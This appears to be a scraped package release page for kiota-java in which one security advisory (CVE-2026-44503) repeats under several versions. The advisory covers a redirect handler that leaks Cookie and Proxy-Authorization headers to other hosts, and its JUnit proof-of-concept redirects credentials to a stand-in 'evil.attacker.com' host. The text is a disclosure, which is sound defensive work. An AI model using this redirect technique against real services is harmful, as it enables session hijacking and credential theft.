Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

May 22, 2025

1.17.2 patch

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Apr 03, 2025

1.17.1 patch

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Feb 12, 2025

1.17.0 minor

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Feb 06, 2025

1.16.4 patch

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jan 15, 2025

1.16.3 patch

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jan 07, 2025

1.16.2 patch

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
